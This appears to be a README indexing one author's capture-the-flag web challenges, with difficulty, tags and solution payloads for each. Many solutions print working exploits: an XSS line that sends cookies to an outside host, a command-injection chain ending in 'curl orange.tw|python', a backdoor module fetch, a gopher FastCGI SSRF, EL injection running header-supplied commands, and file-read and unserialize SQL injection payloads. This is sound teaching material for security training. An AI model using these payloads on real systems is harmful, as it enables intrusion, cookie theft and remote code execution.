Home

Awesome

My CTF Web Challenges

This is the repository of all CTF challenges I made, including the source code, write-up and idea explanation! Hope you like it :)

P.s. BTW, the Babyfirst series and One Line PHP Challenge are my favorite challenges. If you haven't enough time, please look them at least!

<br>

And you can find me via:

<br>

Table of Content

<br>

W3rmup PHP

Difficulty: ★★
Solved: 22 / 666
Tag: PHP, Code Review, YAML ,Command Injection

Source Code

Idea

Solution

Write Ups

One-Bit Man

Difficulty:
Solved: 49 / 666
Tag: PHP, Code Review

Source Code

Idea

You can flip 1-bit on any file of the latest version of WordPress and you have to pwn the server.

Solution

Flip the position 5389 of the file /var/www/html/wp-includes/user.php to NOP the NOT (!) operation.

    if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
            return new WP_Error(

Write Ups

Metamon Verse

Difficulty: ★★★☆
Solved: 9 / 666
Tag: NFS, SSRF ,RCE

Source Code

Idea

The idea is using the SSRF to communicate with the local NFS/RPC server to get the RCE. To complete the exploit, you have to:

  1. Construct the RPC/PORTMAP_CALL packet and send to gopher://127.0.0.1:111/ to get the port of mountd service.
  2. Construct the RPC/MNT_CALL packet and send to gopher://127.0.0.1:<mnt-port>/ to get the file-handler of /data volume (remember to specify CURLOPT_LOCALPORT to bypass the authentication)
  3. Construct the RPC/NFS_CALL packet and send to gopher://127.0.0.1:2049/ to create a SYMLINK (remember to specify CURLOPT_LOCALPORT to bypass the authentication)
  4. Symlink the /app/templates/index.html to a controllable file to get a SSTI and get the RCE!

Solution

An dirty exploit code can be found here

Write Ups

FBI Warning

Difficulty:
Solved: 25 / 666
Tag: MISC, OSINT ,PHP, Code Review

Source Code

Idea

The website uses a famous Message Board project futaba-ng, and the ID generation is based on REMOTE_ADDR:

define("IDSEED", 'idの種');       //idの種
...
$now.=" ID:".substr(crypt(md5($_SERVER["REMOTE_ADDR"].IDSEED.gmdate("Ymd", $time+9*60*60)),'id'),-8);

Solution

Because of the known IP prefix, you can identify the IP address of Ωrange by brute-force easily.

var_dump( substr(crypt(md5("219.91.64.47"."idの種"."20211203"),"id"),-8) == "ueyUrcwA" )
// bool(true)

Write Ups

Vulpixelize

Difficulty: ★☆
Solved: 41 / 666
Tag: Browser, Feature

Source Code

Idea

Use the Chrome new feature Text Fragments to extract the flag.

Solution

Write Ups

oShell

Difficulty: ★★
Solved: 21 / 1281
Tag: BlackBox, Shell ,Command Injection

Source Code

Solution

  1. Leveraging strace in htop to read enable secret.
  2. Writing /home/oShell/.toprc with tcpdump -w
  3. Abusing top inspect feature to run arbitrary commands

Write Ups

oStyle

Difficulty: ★★☆
Solved: 10 / 1281
Tag: XSS

Source Code

Solution

test.var

Content-language: en
Content-type: text/html
Body:----foo----

<script>
fetch('http://orange.tw/?' + escape(document.cookie))
</script>

----foo----

Write Ups

Return of Use-After-Flee

Difficulty: ★★★★★
Solved: 0 / 1281
Tag: WhiteBox, PHP, UAF, PWN

Source Code

Solution

Write Ups

Virtual Public Network

Difficulty: ★☆
Solved: 81 / 1147
Tag: WhiteBox, Perl, Command Injection

Source Code

Solution

http://13.231.137.9/cgi-bin/diag.cgi
?options=-r@a="ls -alh /",system@a%23 2>tmp/orange.thtml <
&tpl=orange

Write Ups

Bounty Pl33z

Difficulty: ★★★☆
Solved: 30 / 1147
Tag: XSS

Source Code

Solution

Here we use unicode U+2028 and U+3002 to bypass \n and . filters.

http://3.114.5.202/fd.php
?q=ssl。orange。tw?xx"%2bdocument[`cookie`]%E2%80%A8-->

Unintended Solution

http://3.114.5.202/fd.php
?q=ssl。orange。tw?`%2b"%2bdocument[`cookie`];(`${`

Write Ups

GoGo PowerSQL

Difficulty: ★★★☆
Solved: 16 / 1147
Tag: Environment Injection, MySQL Client Attack

Source Code

Solution

  1. Buffer Overflow the DB_HOST in BSS
  2. Due to the patch, we can pollute environment variable which are not in the Blacklist.
  3. Hijack MySQL connection by ENV such as LOCALDOMAIN or HOSTALIAES
  4. Read /FLAG by LOAD DATA LOCAL INFILE.
import requests

payload = ['x=x' for x in range(254)]
payload.append('name=x')
payload.append('HOSTALIASES=/proc/self/fd/0')
payload.append('orangeeeee=go')
payload = '&'.join(payload)

data = 'orangeeeee my.orange.tw'

r = requests.post('http://13.231.38.172/cgi-bin/query?'+payload, data=data)
print r.content
$ git clone https://github.com/lcark/MysqlClientAttack.git
$ cd MysqlClientAttack
$ python main.py -F /FLAG

Write Ups

Luatic

Difficulty: ★★☆
Solved: 42 / 1147
Tag: WhiteBox, Redis, Lua

Source Code

Solution

  1. Override PHP global variables.
  2. Redis implements eval command by string concatenations so that we can escape the original Lua function to override global objects.
http://54.250.242.183/luatic.php
?_POST[TEST_KEY]=return 1 end function math:random() return 2
&_POST[TEST_VALUE]=0
&_POST[MY_SET_COMMAND]=eval
&_POST[token]=<token>
&_POST[guess]=2
http://54.250.242.183/luatic.php
?_POST[token]=<token>
&_POST[guess]=2

Unintended Solution

Write Ups

Buggy .Net

Difficulty: ★☆
Solved: 13 / 1147
Tag: ASP.NET, WhiteBox

Source Code

Solution

GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61

%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
from urllib import quote

s = lambda x: quote(x.encode('ibm500'))
print '%s=%s&x=%s' % (s('filename'), s('../../FLAG.txt', s('<x>'))

Write Ups

One Line PHP Challenge

Difficulty: ★★★★
Solved: 3 / 1816
Tag: PHP

Source Code

Solution

P.S. This is a default installation PHP7.2 + Apache on Ubuntu 18.04

  1. Control partial session file content by PHP_SESSION_UPLOAD_PROGRESS
  2. Bypass session.upload_progress.cleanup = On by race condition or slow query
  3. Control the prefix to @<?php by chaining PHP wrappers

Write Ups

Baby Cake

Difficulty: ★★★
Solved: 4 / 1816
Tag: Code Review, PHP, De-serialization

Source Code

Solution

Due to the implement of CURLOPT_SAFE_UPLOAD in CakePHP FormData.php. We can read arbitrary files!

# arbitrary file read, listen port 12345 on your server
http://13.230.134.135/
?url=http://your_ip:12345/
&data[x]=@/etc/passwd

# arbitrary de-serialization the Monolog POP chain
http://13.230.134.135/
?url=http://your_ip:12345/
&data[x]=@phar://../tmp/cache/mycache/[you_ip]/[md5_of_url]/body.cache

Write Ups

Oh My Raddit

Difficulty: ★★☆
Solved: 27 / 1816
Tag: Observation, DES checksum, Crypto, Web

Source Code

Solution

  1. Know ECB mode from block frequency analysis
  2. Know block size = 8 from cipher length
  3. From the information above, it's reasonable to use DES in real world
  4. The most common block is 3ca92540eb2d0a42(always in the cipher end). We can guess it's the padding \x08\x08\x08\x08\x08\x08\x08\x08
  5. Due to the checking parity in DES, we can reduce the keyspace from 26(abcdefghijklmnopqrstuvwxyz) to 13(acegikmoqsuwy)
    • Break in 1 second with HashCat
    • Break in 10 minutes with single thread Python

Write Ups

Oh My Raddit v2

Difficulty: ★★
Solved: 10 / 1816
Tag: Web.py, SQL Injection to RCE

Source Code

Solution

Write Ups

Why so Serials?

Difficulty: ★★★★
Solved: 1 / 1816
Tag: De-serialization, RCE, ASP.NET, View State

Source Code

Solution

  1. Get the machineKey in web.config by Server-Side-Includes(.shtml or .stm)
  2. Exploit ASP.NET ___VIEWSTATE by ysoserial.net

Write Ups

BabyFirst Revenge

Difficulty: ★☆
Solved: 95 / 1541
Tag: WhiteBox, PHP, Command Injection

Idea

Source Code

Solution

# generate `ls -t>g` to file "_"
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_

# generate `curl orange.tw|python` to file "g"
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _

# got shell
http://host/?cmd=sh g

You can check the exploit.py for the detail! And there are also lots of creative solutions, you can check the write ups below.

Write Ups

BabyFirst Revenge v2

Difficulty: ★★★★
Solved: 8 / 1541
Tag: WhiteBox, PHP, Command Injection

Idea

Source Code

Solution

  1. generate g> ht- sl to file v
  2. reverse file v to file x
  3. generate curl orange.tw|python;
  4. execute x, ls -th >g
  5. execute g

You can check exploit.py for the detail!

Write Ups

SSRFme?

Difficulty: ★★☆
Solved: 20 / 1541
Tag: WhiteBox, Perl, PATH Pollution

Idea

Source Code

$ sudo apt install libwww-perl

Solution

# write evil URI module to current directory
$ curl http://host/?filename=URI/orange.pm&url=http://orange.tw/w/backdoor.pl

# eval evil module `orange`
$ curl http://host/?filename=xxx&url=orange://orange.tw

Write Ups

SQL so Hard

Difficulty: ★★★
Solved: 10 / 1541
Tag: WhiteBox, MySQL, PostgreSQL, SQL Injection, Code Injection

Idea

Source Code

Solution

Write Ups

Baby^H Master PHP 2017

Difficulty: ★★★★☆
Solved: 0 / 1541
Tag: WhiteBox, PHP, Serialization, Apache Prefock

Idea

Source Code

Solution

# get a cookie
$ curl http://host/ --cookie-jar cookie

# download .phar file from http://orange.tw/avatar.gif
$ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/'

# force apache to fork new process
$ python fork.py &

# get flag
$ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"

Write Ups

papapa

Difficulty:
Solved: 71 / 1024
Tag: BlackBox, SSL, Pentesting

Idea

Source Code

Solution

$ openssl s_client -showcerts -connect 1.2.3.4:443 < /dev/null | openssl x509 -text | grep -A 1 "Subject Alternativer Name"
...
depth=0 C = TW, ST = Some-State, O = Internet Widgits Pty Ltd, CN = very-secret-area-for-ctf.orange.tw, emailAddress = orange@chroot.org
...
# get flag
$ curl -k  -H "host: very-secret-area-for-ctf.orange.tw" https://1.2.3.4/

Write Ups

Leaking

Difficulty: ★★
Solved: 43 / 1024
Tag: WhiteBox, JavaScript, NodeJS

Idea

Source Code

Solution

$ while true; do curl 'http://1.2.3.4/?data=Buffer(1e4)' | grep -a hitcon; done;

Write Ups

BabyTrick

Difficulty: ★★★
Solved: 24 / 1024
Tag: WhiteBox, PHP, MySQL, SQL Injection, Unserialize

Idea

Source Code

Solution

# get password
curl http://1.2.3.4/
?data=O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:39:"'union%20select%201,2,password%20from%20users%23";}}

# get flag
curl http://1.2.3.4/
?data=O:6:"HITCON":2:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:7:"orÄnge";i:1;s:13:"babytrick1234";}}

Write Ups

Angry Boy

Difficulty: ★★☆
Solved: 43 / 1024
Tag: GrayBox, Java

Idea

Source Code

Solution

Write Ups

Angry Seam

Difficulty: ★★★★
Solved: 4 / 1024
Tag: GrayBox, Java, Seam Framework, CSS RPO, EL Injection, Java Deserialization

Idea

Source Code

Solution

<br>

P.s. I made this challenge because once when I try to review the code of Seam Framework, I found some 0-days and I think it must have more. So I throw out the brick to attract a jade. And the result is more than I expected :P

<br>

Intended solution

<br>

Unintended solution

/?x=#{expressions.instance().createValueExpression(request.getHeader('cmd')).getValue()}
GET /angryseam/template.seam?actionMethod=template.xhtml:util.escape(sessionScope['user'].getDescription()) HTTP/1.1
host: 1.2.3.4
cmd: #{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),request.getHeader('ccc'))}
ccc: ls -alh
...

Unintended solution

<br>

Unintended solution

Write Ups

Babyfirst

Solved: 33 / 969
Difficulty: ★★
Tag: WhiteBox, PHP, Command Injection

Idea

Source Code

<?php
    highlight_file(__FILE__);

    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
    if ( !file_exists($dir) )
        mkdir($dir);
    chdir($dir);

    $args = $_GET['args'];
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) )
            exit();
    }

    exec("/bin/orange " . implode(" ", $args));
?>

Solution

http://localhost/
?args[0]=x%0a
&args[1]=mkdir
&args[2]=orange%0a
&args[3]=cd
&args[4]=orange%0a
&args[5]=wget
&args[6]=846465263%0a

http://localhost/
?args[0]=x%0a
&args[1]=tar
&args[2]=cvf
&args[3]=aa
&args[4]=orange%0a
&args[5]=php
&args[6]=aa

And there are also lots of creative solutions, you can check the write ups below.

Write Ups

nanana

Difficulty: ★★★
Solved: 18 / 969
Tag: GrayBox, C, PWN

Idea

Source Code

Solution

Write Ups

Giraffe's Coffee

Difficulty: ★★★☆
Solved: 16 / 969
Tag: WhiteBox, PHP

Idea

Source Code

Solution

TBD

Write Ups

lalala

Difficulty: ★★★☆
Solved: 2 / 969
Tag: BlackBox, PHP, SSRF

Idea

Source Code

Solution

<?php
header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%86%00%00%0E%03REQUEST_METHODGET%0F%0ASCRIPT_FILENAME/www/a.php%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%09%26PHP_VALUEauto_prepend_file%20%3D%20http%3A//orange.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );

Write Ups

Use-After-FLEE

Solved: 1 / 969
Difficulty: ★★★★☆
Tag: WhiteBox, PHP, UAF, PWN

Idea

Source Code

Solution

TBD

Write Ups

PUSHIN CAT

Solved: 8 / 1020
Difficulty: ★★
Platform: BlackBox, PHP, H2, SQL Injection

Idea

Source Code

Solution

TBD

Write Ups

PY4H4SHER

Solved: 30 / 1020
Difficulty: ★★☆
Tag: WhiteBox, Python, Collision, HPP

Idea

Source Code

Solution

TBD  

Write Ups

LEENODE

Solved: 2 / 1020
Difficulty: ★★★
Tag: BlackBox, ColdFusion, Apache

Idea

Source Code

Solution

# get password
$ curl http://1.2.3.4/admin%252f%252ehtpasswd%2500.cfm

# get flag
$ curl http://1.2.3.4/admin/thefl4g.txt 

Write Ups

BlackBox

Solved: 0 / 12
Difficulty: ★★★★
Tag: GrayBox, PHP, JAVA, mod_jk, H2, SQL Injection, WAF

Idea

Source Code

Solution

Write Ups

TBD

SQLPWN

Solved: 0 / ??
Difficulty: ★★★
Tag: WhiteBox, PHP, SQL Injection, LFI, Race Condition

Idea

Source Code

Solution

Write Ups